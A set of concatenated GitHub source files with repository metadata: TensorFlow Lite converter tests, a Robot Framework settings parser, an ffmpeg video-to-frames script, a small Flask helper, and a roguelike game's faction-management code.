self.assertEqual(np.float32, output_details[0]['dtype'])
self.assertEqual(len(output_details[0]['shape']), 0)
# Validate inference using the scalar inputs/outputs.
test_input = np.array(4.0, dtype=np.float32)
expected_output = np.array(8.0, dtype=np.float32)
interpreter.set_tensor(input_details[0]['index'], test_input)
interpreter.invoke()
output_data = interpreter.get_tensor(output_details[0]['index'])
self.assertTrue((expected_output == output_data).all())
def testPostTrainingQuantize(self):
self.skipTest('b/124315492')
np.random.seed(0)
with ops.Graph().as_default():
# We need the tensor to have more than 1024 elements for quantize_weights
# to kick in. Thus, the [33, 33] shape.
in_tensor_1 = array_ops.placeholder(
shape=[33, 33], dtype=dtypes.float32, name='inputA')
in_tensor_2 = constant_op.constant(
np.random.uniform(low=-10., high=10., size=(33, 33)),
shape=[33, 33],
dtype=dtypes.float32,
name='inputB')
out_tensor = math_ops.matmul(in_tensor_1, in_tensor_2, name='output')
sess = session.Session()
# Convert float model.
float_converter = lite.TFLiteConverter.from_session(sess, [in_tensor_1],
[out_tensor])
float_converter.experimental_enable_mlir_converter = True
float_tflite = float_converter.convert()
# Convert quantized weights model.
quantized_converter = lite.TFLiteConverter.from_session(
sess, [in_tensor_1], [out_tensor])
quantized_converter.experimental_enable_mlir_converter = True
quantized_converter.optimizations = [lite.Optimize.DEFAULT]
quantized_tflite = quantized_converter.convert()
# Ensure that the quantized weights tflite model is smaller.
self.assertLess(len(quantized_tflite), len(float_tflite))
@test_util.run_in_graph_and_eager_modes
def testFunctions(self):
"""Tests tf.function in 1.X."""
@def_function.function
def plus_placeholder(x, placeholder):
return x + placeholder
with ops.Graph().as_default():
placeholder = array_ops.placeholder(
dtype=dtypes.float32, shape=[1], name='input')
variable_node = variables.Variable(1.0, name='variable_node')
defun_node = plus_placeholder(variable_node, placeholder)
output_node = math_ops.multiply(defun_node, 2.0, name='output_node')
# Initialize variables in the model.
sess = session.Session()
sess.run(variables.variables_initializer([variable_node]))
# Convert model and ensure model is not None.
converter = lite.TFLiteConverter.from_session(sess, [placeholder],
[output_node])
converter.experimental_enable_mlir_converter = True
tflite_model = converter.convert()
# Check values from converted model.
interpreter = Interpreter(model_content=tflite_model)
interpreter.allocate_tensors()
input_details = interpreter.get_input_details()
self.assertEqual(1, len(input_details))
self.assertEqual('input', input_details[0]['name'])
self.assertEqual(np.float32, input_details[0]['dtype'])
self.assertTrue(([1] == input_details[0]['shape']).all())
self.assertEqual((0., 0.), input_details[0]['quantization'])
output_details = interpreter.get_output_details()
self.assertEqual(1, len(output_details))
self.assertEqual('output_node', output_details[0]['name'])
self.assertEqual(np.float32, output_details[0]['dtype'])
self.assertTrue(([1] == output_details[0]['shape']).all())
self.assertEqual((0., 0.), output_details[0]['quantization'])
class FromConcreteFunctionTest(test_util.TensorFlowTestCase):
def _evaluateTFLiteModel(self, tflite_model, input_data):
"""Evaluates the model on the `input_data`."""
interpreter = Interpreter(model_content=tflite_model)
interpreter.allocate_tensors()
input_details = interpreter.get_input_details()
output_details = interpreter.get_output_details()
for input_tensor, tensor_data in zip(input_details, input_data):
interpreter.set_tensor(input_tensor['index'], tensor_data.numpy())
interpreter.invoke()
return [
interpreter.get_tensor(details['index']) for details in output_details
]
def _getSimpleVariableModel(self):
root = tracking.AutoTrackable()
root.v1 = variables.Variable(3.)
root.v2 = variables.Variable(2.)
root.f = def_function.function(lambda x: root.v1 * root.v2 * x)
return root
@test_util.run_v2_only
def testFloat(self):
root = self._getSimpleVariableModel()
input_data = constant_op.constant(1., shape=[1])
concrete_func = root.f.get_concrete_function(input_data)
# Convert model.
converter = lite.TFLiteConverterV2.from_concrete_functions([concrete_func])
converter.experimental_enable_mlir_converter = True
tflite_model = converter.convert()
# Check values from converted model.
expected_value = root.f(input_data)
actual_value = self._evaluateTFLiteModel(tflite_model, [input_data])
self.assertEqual(expected_value.numpy(), actual_value)
@test_util.run_v2_only
def testControlFlow(self):
input_data = {
'x': constant_op.constant([1., 2.], shape=[1, 2]),
'b': constant_op.constant(True)
}
weights = variables.Variable([[0.1, 0.2], [0.3, 0.4]], dtype=dtypes.float32)
def true_fn(x):
return math_ops.matmul(x, weights)
def false_fn(x):
return math_ops.add(x, weights)
@def_function.function(input_signature=[
tensor_spec.TensorSpec(shape=[1, 2], dtype=dtypes.float32),
tensor_spec.TensorSpec(shape=(), dtype=dtypes.bool)
])
def model(x, b):
return control_flow_ops.cond(
b, true_fn=lambda: true_fn(x), false_fn=lambda: false_fn(x))
concrete_func = model.get_concrete_function()
# Convert model.
converter = lite.TFLiteConverterV2.from_concrete_functions([concrete_func])
converter.experimental_enable_mlir_converter = True
tflite_model = converter.convert()
# Check values from converted model.
expected_value = concrete_func(**input_data)
actual_value = self._evaluateTFLiteModel(
tflite_model, [input_data['x'], input_data['b']])[0]
np.testing.assert_almost_equal(expected_value.numpy(), actual_value)
@test_util.run_v2_only
def testStaticRnn(self):
input_data = constant_op.constant(
np.array(np.random.random_sample((3, 10)), dtype=np.float32))
cell = rnn_cell_impl.LSTMCell(10)
@def_function.function(input_signature=[
tensor_spec.TensorSpec(shape=[3, 10], dtype=dtypes.float32)
])
def model(x):
seq = array_ops.split(x, 3, 0)
return rnn.static_rnn(
cell, seq, dtype=dtypes.float32, sequence_length=[1])
concrete_func = model.get_concrete_function()
# Convert model.
converter = lite.TFLiteConverterV2.from_concrete_functions([concrete_func])
converter.experimental_enable_mlir_converter = True
tflite_model = converter.convert()
# Check values from converted model.
expected_value = concrete_func(input_data)[0]
actual_value = self._evaluateTFLiteModel(tflite_model, [input_data])
for expected, actual in zip(expected_value, actual_value):
np.testing.assert_almost_equal(expected.numpy(), actual)
@test_util.run_v2_only
def testLoop(self):
input_data = constant_op.constant([1., 2., 3., 4.], shape=[2, 2])
weights = variables.Variable([[0.1, 0.2], [0.3, 0.4]], dtype=dtypes.float32)
def condition(x):
return math_ops.reduce_sum(x) < 100
def body(x):
return math_ops.add(x, weights)
@def_function.function(input_signature=[
tensor_spec.TensorSpec(shape=[2, 2], dtype=dtypes.float32)
])
def model(x):
return control_flow_ops.while_loop(condition, body, [x])
concrete_func = model.get_concrete_function()
# Convert model.
converter = lite.TFLiteConverterV2.from_concrete_functions([concrete_func])
converter.experimental_enable_mlir_converter = True
tflite_model = converter.convert()
# Check values from converted model.
expected_value = concrete_func(input_data)
actual_value = self._evaluateTFLiteModel(tflite_model, [input_data])[0]
np.testing.assert_almost_equal(expected_value.numpy(), actual_value)
@test_util.run_v2_only
def testDynamicRnn(self):
input_data = constant_op.constant(
np.array(np.random.random_sample((3, 10, 10)), dtype=np.float32))
cell = rnn_cell_impl.LSTMCell(10)
@def_function.function(input_signature=[
tensor_spec.TensorSpec(shape=[3, 10, 10], dtype=dtypes.float32)
])
def model(x):
return rnn.dynamic_rnn(cell, x, dtype=dtypes.float32)
concrete_func = model.get_concrete_function()
# Convert model.
converter = lite.TFLiteConverterV2.from_concrete_functions([concrete_func])
converter.experimental_enable_mlir_converter = True
tflite_model = converter.convert()
# Check values from converted model.
expected_value = concrete_func(input_data)
actual_value = self._evaluateTFLiteModel(tflite_model, [input_data])
for expected, actual in zip(expected_value, actual_value):
if isinstance(expected, ops.EagerTensor):
expected = expected.numpy()
else:
expected = expected.c.numpy()
np.testing.assert_almost_equal(expected, actual)
@test_util.run_v2_only
def testKerasLSTM(self):
self.skipTest('b/138657502')
input_data = constant_op.constant(
np.array(np.random.random_sample((10, 10, 10)), dtype=np.float32))
model = keras.models.Sequential(
[keras.layers.LSTM(units=10, input_shape=(10, 10))])
run_model = def_function.function(model.__call__)
concrete_func = run_model.get_concrete_function(
tensor_spec.TensorSpec((10, 10, 10), dtype=dtypes.float32))
# Convert model.
converter = lite.TFLiteConverterV2.from_concrete_functions([concrete_func])
converter.experimental_enable_mlir_converter = True
tflite_model = converter.convert()
# Check values from converted model.
expected_value = concrete_func(input_data)
actual_value = self._evaluateTFLiteModel(tflite_model, [input_data])
for expected, actual in zip(expected_value, actual_value):
np.testing.assert_almost_equal(expected, actual)
class TestFlexMode(test_util.TensorFlowTestCase):
def testSession(self):
with ops.Graph().as_default():
in_tensor = array_ops.placeholder(
shape=[1, 16, 16, 3], dtype=dtypes.float32)
out_tensor = in_tensor + in_tensor
sess = session.Session()
# Convert model and ensure model is not None.
converter = lite.TFLiteConverter.from_session(sess, [in_tensor],
[out_tensor])
converter.experimental_enable_mlir_converter = True
converter.target_spec.supported_ops = set([lite.OpsSet.SELECT_TF_OPS])
tflite_model = converter.convert()
# Ensures the model contains TensorFlow ops.
# TODO(nupurgarg): Check values once there is a Python delegate interface.
interpreter = Interpreter(model_content=tflite_model)
with self.assertRaises(RuntimeError) as error:
interpreter.allocate_tensors()
self.assertIn(
'Regular TensorFlow ops are not supported by this interpreter.',
str(error.exception))
@test_util.run_v2_only
def testConcreteFunc(self):
input_data = constant_op.constant(1., shape=[1])
root = tracking.AutoTrackable()
root.v1 = variables.Variable(3.)
root.v2 = variables.Variable(2.)
root.f = def_function.function(lambda x: root.v1 * root.v2 * x)
concrete_func = root.f.get_concrete_function(input_data)
# Convert model.
converter = lite.TFLiteConverterV2.from_concrete_functions([concrete_func])
converter.experimental_enable_mlir_converter = True
converter.target_spec.supported_ops = set([lite.OpsSet.SELECT_TF_OPS])
tflite_model = converter.convert()
# Ensures the model contains TensorFlow ops.
# TODO(nupurgarg): Check values once there is a Python delegate interface.
interpreter = Interpreter(model_content=tflite_model)
with self.assertRaises(RuntimeError) as error:
interpreter.allocate_tensors()
self.assertIn(
'Regular TensorFlow ops are not supported by this interpreter.',
str(error.exception))
if __name__ == '__main__':
test.main()
| {
"content_hash": "66ddf5ddbc48a799bb69fbda57aae042",
"timestamp": "",
"source": "github",
"line_count": 492,
"max_line_length": 80,
"avg_line_length": 39.64430894308943,
"alnum_prop": 0.6748526018969495,
"repo_name": "chemelnucfin/tensorflow",
"id": "8d198c22babbfc3a5923ae9ed4abcf337bd315b6",
"size": "20194",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "tensorflow/lite/python/lite_mlir_test.py",
"mode": "33188",
"license": "apache-2.0",
"language": [
{
"name": "Assembly",
"bytes": "4913"
},
{
"name": "Batchfile",
"bytes": "16146"
},
{
"name": "C",
"bytes": "825231"
},
{
"name": "C#",
"bytes": "8562"
},
{
"name": "C++",
"bytes": "75313939"
},
{
"name": "CMake",
"bytes": "207856"
},
{
"name": "Dockerfile",
"bytes": "80130"
},
{
"name": "Go",
"bytes": "1670422"
},
{
"name": "HTML",
"bytes": "4680032"
},
{
"name": "Java",
"bytes": "881711"
},
{
"name": "Jupyter Notebook",
"bytes": "1113647"
},
{
"name": "LLVM",
"bytes": "6536"
},
{
"name": "MLIR",
"bytes": "853297"
},
{
"name": "Makefile",
"bytes": "109340"
},
{
"name": "Objective-C",
"bytes": "105235"
},
{
"name": "Objective-C++",
"bytes": "258793"
},
{
"name": "PHP",
"bytes": "38007"
},
{
"name": "Pascal",
"bytes": "3741"
},
{
"name": "Pawn",
"bytes": "14380"
},
{
"name": "Perl",
"bytes": "7536"
},
{
"name": "Python",
"bytes": "50825074"
},
{
"name": "RobotFramework",
"bytes": "891"
},
{
"name": "Ruby",
"bytes": "4706"
},
{
"name": "Shell",
"bytes": "532610"
},
{
"name": "Smarty",
"bytes": "31460"
},
{
"name": "Swift",
"bytes": "62814"
}
],
"symlink_target": ""
} |
from six import PY3, string_types
from .comments import Comment
class Setting(object):
def __init__(self, setting_name, parent=None, comment=None):
self.setting_name = setting_name
self.parent = parent
self._set_initial_value()
self._set_comment(comment)
def _set_initial_value(self):
self.value = []
def _set_comment(self, comment):
self.comment = Comment(comment)
def reset(self):
self.__init__(self.setting_name, self.parent)
@property
def source(self):
return self.parent.source if self.parent is not None else None
@property
def directory(self):
return self.parent.directory if self.parent is not None else None
def populate(self, value, comment=None):
"""Mainly used at parsing time, later attributes can be set directly."""
self._populate(value)
self._set_comment(comment)
def _populate(self, value):
self.value = value
def is_set(self):
return bool(self.value)
def is_for_loop(self):
return False
def report_invalid_syntax(self, message, level='ERROR'):
self.parent.report_invalid_syntax(message, level)
def _string_value(self, value):
return value if isinstance(value, string_types) else ' '.join(value)
def _concat_string_with_value(self, string, value):
if string:
return string + ' ' + self._string_value(value)
return self._string_value(value)
def as_list(self):
return self._data_as_list() + self.comment.as_list()
def _data_as_list(self):
ret = [self.setting_name]
if self.value:
ret.extend(self.value)
return ret
def __bool__(self):
return self.is_set()
#PY2
def __nonzero__(self):
return self.__bool__()
def __iter__(self):
return iter(self.value)
def __unicode__(self):
return unicode(self.value or '')
if PY3:
def __str__(self):
return str(self.value or '')
class StringValueJoiner(object):
def __init__(self, separator):
self._separator = separator
def join_string_with_value(self, string, value):
if string:
return string + self._separator + self.string_value(value)
return self.string_value(value)
def string_value(self, value):
if isinstance(value, string_types):
return value
return self._separator.join(value)
class Documentation(Setting):
def _set_initial_value(self):
self.value = ''
def _populate(self, value):
self.value = self._concat_string_with_value(self.value, value)
def _string_value(self, value):
return value if isinstance(value, string_types) else ''.join(value)
def _data_as_list(self):
return [self.setting_name, self.value]
class Template(Setting):
def _set_initial_value(self):
self.value = None
def _populate(self, value):
self.value = self._concat_string_with_value(self.value, value)
def is_set(self):
return self.value is not None
def is_active(self):
return self.value and self.value.upper() != 'NONE'
def _data_as_list(self):
ret = [self.setting_name]
if self.value:
ret.append(self.value)
return ret
class Fixture(Setting):
# `keyword`, `is_comment` and `assign` make the API compatible with Step.
@property
def keyword(self):
return self.name or ''
def is_comment(self):
return False
def _set_initial_value(self):
self.name = None
self.args = []
self.assign = ()
def _populate(self, value):
if not self.name:
self.name = value[0] if value else ''
value = value[1:]
self.args.extend(value)
def is_set(self):
return self.name is not None
def is_active(self):
return self.name and self.name.upper() != 'NONE'
def _data_as_list(self):
ret = [self.setting_name]
if self.name or self.args:
ret.append(self.name or '')
if self.args:
ret.extend(self.args)
return ret
class Timeout(Setting):
def _set_initial_value(self):
self.value = None
self.message = ''
def _populate(self, value):
if not self.value:
self.value = value[0] if value else ''
value = value[1:]
self.message = self._concat_string_with_value(self.message, value)
def is_set(self):
return self.value is not None
def _data_as_list(self):
ret = [self.setting_name]
if self.value or self.message:
ret.append(self.value or '')
if self.message:
ret.append(self.message)
return ret
class Tags(Setting):
def _set_initial_value(self):
self.value = None
def _populate(self, value):
self.value = (self.value or []) + value
def is_set(self):
return self.value is not None
def __add__(self, other):
if not isinstance(other, Tags):
raise TypeError('Tags can only be added with tags')
tags = Tags('Tags')
tags.value = (self.value or []) + (other.value or [])
return tags
class Arguments(Setting):
pass
class Return(Setting):
pass
class Metadata(Setting):
setting_name = 'Metadata'
def __init__(self, parent, name, value, comment=None, joined=False):
self.parent = parent
self.name = name
joiner = StringValueJoiner('' if joined else ' ')
self.value = joiner.join_string_with_value('', value)
self._set_comment(comment)
def reset(self):
pass
def is_set(self):
return True
def _data_as_list(self):
return [self.setting_name, self.name, self.value]
class _Import(Setting):
def __init__(self, parent, name, args=None, alias=None, comment=None):
self.parent = parent
self.name = name
self.args = args or []
self.alias = alias
self._set_comment(comment)
def reset(self):
pass
@property
def type(self):
return type(self).__name__
def is_set(self):
return True
def _data_as_list(self):
return [self.type, self.name] + self.args
class Library(_Import):
def __init__(self, parent, name, args=None, alias=None, comment=None):
if args and not alias:
args, alias = self._split_alias(args)
_Import.__init__(self, parent, name, args, alias, comment)
def _split_alias(self, args):
if len(args) >= 2 and isinstance(args[-2], string_types) \
and args[-2].upper() == 'WITH NAME':
return args[:-2], args[-1]
return args, None
def _data_as_list(self):
alias = ['WITH NAME', self.alias] if self.alias else []
return ['Library', self.name] + self.args + alias
class Resource(_Import):
def __init__(self, parent, name, invalid_args=None, comment=None):
if invalid_args:
name += ' ' + ' '.join(invalid_args)
_Import.__init__(self, parent, name, comment=comment)
class Variables(_Import):
def __init__(self, parent, name, args=None, comment=None):
_Import.__init__(self, parent, name, args, comment=comment)
class _DataList(object):
def __init__(self, parent):
self._parent = parent
self.data = []
def add(self, meta):
self._add(meta)
def _add(self, meta):
self.data.append(meta)
def _parse_name_and_value(self, value):
name = value[0] if value else ''
return name, value[1:]
def __getitem__(self, index):
return self.data[index]
def __setitem__(self, index, item):
self.data[index] = item
def __len__(self):
return len(self.data)
def __iter__(self):
return iter(self.data)
class ImportList(_DataList):
def populate_library(self, data, comment):
self._populate(Library, data, comment)
def populate_resource(self, data, comment):
self._populate(Resource, data, comment)
def populate_variables(self, data, comment):
self._populate(Variables, data, comment)
def _populate(self, item_class, data, comment):
name, value = self._parse_name_and_value(data)
self._add(item_class(self._parent, name, value, comment=comment))
class MetadataList(_DataList):
def populate(self, name, value, comment):
self._add(Metadata(self._parent, name, value, comment, joined=True))
| {
"content_hash": "804cc23ad8c3e0801c60b79828fdc435",
"timestamp": "",
"source": "github",
"line_count": 346,
"max_line_length": 80,
"avg_line_length": 24.910404624277458,
"alnum_prop": 0.5896275670031326,
"repo_name": "userzimmermann/robotframework-python3",
"id": "4775d15a93f6d1615bf985d2537616bd43e5c844",
"size": "9227",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "src/robot/parsing/settings.py",
"mode": "33188",
"license": "apache-2.0",
"language": [
{
"name": "CSS",
"bytes": "16539"
},
{
"name": "HTML",
"bytes": "1011996"
},
{
"name": "Java",
"bytes": "58737"
},
{
"name": "JavaScript",
"bytes": "159003"
},
{
"name": "Python",
"bytes": "2018310"
},
{
"name": "RobotFramework",
"bytes": "4288"
},
{
"name": "Shell",
"bytes": "1093"
}
],
"symlink_target": ""
} |
from __future__ import print_function, division
import os
import sys
import subprocess
def class_process(dir_path, dst_dir_path, class_name):
class_path = os.path.join(dir_path, class_name)
if not os.path.isdir(class_path):
return
dst_class_path = os.path.join(dst_dir_path, class_name)
if not os.path.exists(dst_class_path):
os.mkdir(dst_class_path)
for file_name in os.listdir(class_path):
if '.mp4' not in file_name:
continue
name, ext = os.path.splitext(file_name)
dst_directory_path = os.path.join(dst_class_path, name)
video_file_path = os.path.join(class_path, file_name)
try:
if os.path.exists(dst_directory_path):
if not os.path.exists(os.path.join(dst_directory_path, 'image_00001.jpg')):
subprocess.call('rm -r \"{}\"'.format(dst_directory_path), shell=True)
print('remove {}'.format(dst_directory_path))
os.mkdir(dst_directory_path)
else:
continue
else:
os.mkdir(dst_directory_path)
except:
print(dst_directory_path)
continue
cmd = 'ffmpeg -i \"{}\" -vf scale=-1:240 \"{}/image_%05d.jpg\"'.format(video_file_path, dst_directory_path)
print(cmd)
subprocess.call(cmd, shell=True)
print('\n')
if __name__=="__main__":
dir_path = sys.argv[1]
dst_dir_path = sys.argv[2]
for class_name in os.listdir(dir_path):
class_process(dir_path, dst_dir_path, class_name)
class_name = 'test'
class_process(dir_path, dst_dir_path, class_name)
| {
"content_hash": "47a673acac67e006c341cf1fe3fdbad4",
"timestamp": "",
"source": "github",
"line_count": 48,
"max_line_length": 111,
"avg_line_length": 31.458333333333332,
"alnum_prop": 0.6423841059602649,
"repo_name": "kenshohara/3D-ResNets",
"id": "985f7cd1f57292b248551c7932e21a35ee59f3be",
"size": "1510",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "utils/video_jpg_kinetics.py",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "Lua",
"bytes": "49823"
},
{
"name": "Python",
"bytes": "6771"
}
],
"symlink_target": ""
} |
from exception.AppException import ConvertFailed
global_data = 'first'
def get_global_data():
return global_data
def set_global_data(data_param):
# global_data is not considered global data
global_data = data_param
def func_sum(a,b):
return a+b
def get_res(payload):
res = {}
try:
res = dict(payload or ())
except:
raise ConvertFailed
return res
| {
"content_hash": "d87a86618a95c938cf42188afb5c6801",
"timestamp": "",
"source": "github",
"line_count": 24,
"max_line_length": 48,
"avg_line_length": 16.708333333333332,
"alnum_prop": 0.6508728179551122,
"repo_name": "suriyaprakhash/learning",
"id": "18a151dba25fa84d2958704a7cd9cea5ff915b86",
"size": "401",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "python/flask-app/app/script.py",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "Batchfile",
"bytes": "460"
},
{
"name": "Dockerfile",
"bytes": "974"
},
{
"name": "HTML",
"bytes": "2897"
},
{
"name": "Java",
"bytes": "17577"
},
{
"name": "Python",
"bytes": "3885"
},
{
"name": "SCSS",
"bytes": "80"
},
{
"name": "Shell",
"bytes": "449"
},
{
"name": "Smarty",
"bytes": "3564"
},
{
"name": "TypeScript",
"bytes": "5985"
}
],
"symlink_target": ""
} |
from globals import *
import life as lfe
import language
import missions
import bad_numbers
import weapons
import spawns
import alife
import items
import logging
import random
def generate():
create_territories()
create_faction('Dawn', ['dawn_scout', 'dawn_sentry'], enemies=['Bandits', 'Runners', 'Military'])
create_faction('Runners', ['loner', 'loner_rifleman'], enemies=['Bandits', 'Dawn', 'Military'])
create_faction('Loners', ['loner', 'loner_rifleman'], enemies=['Bandits', 'Military'])
create_faction('ZES', ['zes_guard'], enemies=['Bandits', 'Military'])
create_faction('Military', ['bandit'], enemies=['Runners', 'Dawn', 'Loners'])
create_faction('Bandits', ['bandit'], enemies=['Runners', 'Dawn', 'Loners', 'Military'])
create_faction('Dogs', ['bandit'], enemies=['Runners', 'Dawn', 'Loners', 'Military'])
create_zes_export()
create_fields()
create_outposts()
def create_territories():
for town in WORLD_INFO['refs']['towns']:
_place_name = language.generate_place_name()
WORLD_INFO['territories'][_place_name] = {'chunk_keys': town,
'owner': None,
'danger': False,
'flags': {}}
logging.debug('Created territory: %s' % _place_name)
def get_territory(territory_name):
return WORLD_INFO['territories'][territory_name]
def claim_territory(faction_name):
_territory_name = random.choice([t for t in WORLD_INFO['territories'] if not WORLD_INFO['territories'][t]['owner']])
_territory = get_territory(_territory_name)
_territory['owner'] = faction_name
_territory['groups'] = []
_faction = get_faction(faction_name)
_faction['territories'][_territory_name] = {'groups': []}
logging.debug('%s has claimed %s.' % (faction_name, _territory_name))
return _territory
def claim_existing_territory(faction_name, territory_id):
_territory = WORLD_INFO['territories'][territory_id]
_territory['owner'] = faction_name
_territory['groups'] = []
_faction['territories'][_territory_name] = {'groups': []}
logging.debug('%s has claimed %s.' % (faction_name, _territory_name))
def create_faction(name, life_types, friendlies=[], enemies=['Bandits']):
WORLD_INFO['factions'][name] = {'members': [],
'groups': [],
'group_orders': {},
'territories': {},
'friendlies': friendlies,
'enemies': enemies,
'life_types': life_types,
'flags': {}}
logging.debug('Created faction: %s' % name)
def get_faction(faction_name):
return WORLD_INFO['factions'][faction_name]
def get_faction_enemies(faction_name):
return get_faction(faction_name)['enemies']
def is_enemy(life, life_id):
if not life['faction'] or not LIFE[life_id]['faction']:
return False
_faction = get_faction(life['faction'])
_target_faction_name = LIFE[life_id]['faction']
return _target_faction_name in _faction['enemies']
def is_faction_enemy(life, faction_name):
if not life['faction']:
return False
_faction = get_faction(life['faction'])
return faction_name in _faction['enemies']
def add_member(faction_name, life_id):
_faction = get_faction(faction_name)
if life_id in _faction['members']:
return False
_faction['members'].append(life_id)
LIFE[life_id]['faction'] = faction_name
def add_group(faction_name, group_id):
for life_id in alife.groups.get_group({}, group_id)['members']:
add_member(faction_name, life_id)
_faction = get_faction(faction_name)
_faction['groups'].append(group_id)
for territory_name in _faction['territories']:
_territory = _faction['territories'][territory_name]
if not _territory['groups']:
patrol_territory(faction_name, group_id, territory_name)
break
def get_group_order(faction_name, group_id):
_faction = get_faction(faction_name)
if group_id in _faction['group_orders']:
return _faction['group_orders'][group_id]
return None
def set_group_order(faction_name, group_id, order):
_faction = get_faction(faction_name)
_faction['group_orders'][group_id] = {'order': order,
'flags': {}}
def clear_group_order(faction_name, group_id):
_faction = get_faction(faction_name)
del _faction['group_orders'][group_id]
def get_free_groups(faction_name):
_faction = get_faction(faction_name)
return list(set(_faction['groups']) - set(_faction['group_orders']))
def get_nearest_group(faction_name, pos, free_only=True, max_distance=250):
_faction = get_faction(faction_name)
_nearest_group = {'group_id': None, 'distance': max_distance}
for group_id in _faction['groups']:
if free_only and group_id in _faction['group_orders']:
continue
for member_id in alife.groups.get_group({}, group_id)['members']:
_distance = bad_numbers.distance(LIFE[member_id]['pos'], pos)
if _distance < _nearest_group['distance']:
_nearest_group['group_id'] = group_id
_nearest_group['distance'] = _distance
return _nearest_group['group_id']
def patrol_territory(faction_name, group_id, territory_name):
_faction = get_faction(faction_name)
_territory = _faction['territories'][territory_name]
_territory['groups'].append(group_id)
#alife.groups.focus_on
def capture_territory(faction_name, group_id):
if faction_name == 'ZES':
return False
_closest_territory = {'distance': 0, 'chunk_key': None, 'territory_id': None}
_group_center = None
for member_id in alife.groups.get_group({}, group_id)['members']:
_member = LIFE[member_id]
if not _group_center:
_group_center = _member['pos'][:]
continue
_group_center = bad_numbers.lerp_velocity(_group_center, _member['pos'], .5)
for territory_id in WORLD_INFO['territories']:
_territory = WORLD_INFO['territories'][territory_id]
if _territory['owner'] == faction_name:
continue
#TODO: Pre-compute?
_nearest_chunk = alife.chunks.get_nearest_chunk_in_list(_group_center, _territory['chunk_keys'], include_distance=True)
if not _closest_territory['chunk_key'] or _nearest_chunk['distance'] < _closest_territory['distance']:
_closest_territory['distance'] = _nearest_chunk['distance']
_closest_territory['chunk_key'] = _nearest_chunk['chunk_key']
_closest_territory['territory_id'] = territory_id
for member_id in alife.groups.get_group({}, group_id)['members']:
_member = LIFE[member_id]
missions.create_mission_for_self(_member, 'travel_to', chunk_key=_closest_territory['chunk_key'])
missions.create_mission_for_self(_member, 'capture_territory', territory_id=_closest_territory['territory_id'])
set_group_order(faction_name, group_id, 'travel_to')
def move_group_to(faction_name, group_id, chunk_key):
for member_id in alife.groups.get_group({}, group_id)['members']:
_member = LIFE[member_id]
if not missions.has_mission_with_name(_member, 'travel_to'):
missions.create_mission_for_self(_member, 'travel_to', chunk_key=chunk_key)
set_group_order(faction_name, group_id, 'travel_to')
def resupply(faction_name, group_id, chunk_key):
for member_id in alife.groups.get_group({}, group_id)['members']:
_member = LIFE[member_id]
missions.create_mission_for_self(_member, 'travel_to', chunk_key=chunk_key)
#missions.create_mission_for_self(_member, 'resupply', chunk_key=chunk_key)
set_group_order(faction_name, group_id, 'travel_to')
def manage_faction_groups():
for faction_name in WORLD_INFO['factions']:
_faction = get_faction(faction_name)
for group_id in _faction['groups']:
_group_order = get_group_order(faction_name, group_id)
if not _group_order:
continue
for member_id in alife.groups.get_group({}, group_id)['members']:
if missions.has_mission_with_name(LIFE[member_id], _group_order['order']):
break
else:
continue
clear_group_order(faction_name, group_id)
def create_zes_export():
_zes_camp_chunk_key = random.choice(claim_territory('ZES')['chunk_keys'])
spawns.generate_group('zes_guard', faction='ZES', amount=random.randint(3, 4), spawn_chunks=[_zes_camp_chunk_key])
def create_fields():
_lower_half_chunk_keys = alife.chunks.get_chunks_in_range(0, 1, .6, 1)
spawns.generate_group('loner', faction='Loners', amount=random.randint(3, 4), spawn_chunks=random.sample(_lower_half_chunk_keys, 1))
spawns.generate_group('bandit', faction='Bandits', amount=random.randint(3, 4), spawn_chunks=random.sample(_lower_half_chunk_keys, 1))
def create_outposts():
for outpost_chunks in WORLD_INFO['refs']['outposts']:
spawns.generate_group('soldier', faction='Military', amount=random.randint(1, 2), spawn_chunks=outpost_chunks)
spawns.generate_group('soldier_riflemen', faction='Military', amount=random.randint(1, 2), spawn_chunks=outpost_chunks)
def control_loners():
_loners = get_faction('Loners')
for squad in _loners['groups']:
for member in [LIFE[i] for i in squad]:
#print member['name'], alife.groups.get_stage(member, member['group'])
if not alife.groups.is_leader(member, member['group'], member['id']):
continue
alife.groups.set_stage(member, member['group'], STAGE_RAIDING)
alife.groups.flag(member, member['group'], 'raid_chunk', WORLD_INFO['refs']['outposts'][0][0])
def control_zes():
_zes = get_faction('ZES')
if not 'intro_created' in _zes['flags'] and _zes['members'] and SETTINGS['controlling']:
_zes = get_faction('ZES')
_zes['flags']['intro_created'] = True
_item_uid = weapons.spawn_and_arm('glock', '9x19mm magazine', '9x19mm round', 17)
_kill_target = get_faction('Bandits')['members'][0]
_kill_target_direction = bad_numbers.distance(LIFE[_zes['members'][0]]['pos'], LIFE[_kill_target]['pos'])
_quest_item_uid = lfe.get_inventory_item_matching(LIFE[_kill_target], {'type': 'radio'})
_mission = missions.create_mission('zes_glock', target=SETTINGS['controlling'],
item_uid=_item_uid,
quest_item_uid=_quest_item_uid,
deliver_target=_zes['members'][0],
kill_target=_kill_target,
location=lfe.get_current_chunk_id(LIFE[_kill_target]))
lfe.add_item_to_inventory(LIFE[_zes['members'][0]], _item_uid)
alife.brain.meet_alife(LIFE[_zes['members'][0]], LIFE[SETTINGS['controlling']])
alife.memory.create_question(LIFE[_zes['members'][0]],
SETTINGS['controlling'],
'zes_intro',
kill_target_name=' '.join(LIFE[_kill_target]['name']),
kill_target_direction=language.get_real_direction(_kill_target_direction))
missions.remember_mission(LIFE[_zes['members'][0]], _mission)
missions.activate_mission(LIFE[_zes['members'][0]], '1')
#for group_id in _zes['groups']:
# pass
# #for member in [LIFE[i] for i in alife.groups.get_group({}, group_id)['members']]:
#for group_id in _loners['groups']:
# for member in [LIFE[i] for i in squad]:
# #print member['name'], alife.groups.get_stage(member, member['group'])
# if not alife.groups.is_leader(member, member['group'], member['id']):
# continue
#
# alife.groups.set_stage(member, member['group'], STAGE_RAIDING)
# alife.groups.flag(member, member['group'], 'raid_chunk', WORLD_INFO['refs']['outposts'][0][0])
def direct():
#for faction_name in WORLD_INFO['factions']:
#if faction_name == 'Loners':
#control_loners()
manage_faction_groups()
control_zes() | {
"content_hash": "21c037973c5c3f332ee289fada8a170a",
"timestamp": "",
"source": "github",
"line_count": 316,
"max_line_length": 135,
"avg_line_length": 36.901898734177216,
"alnum_prop": 0.6478861161135409,
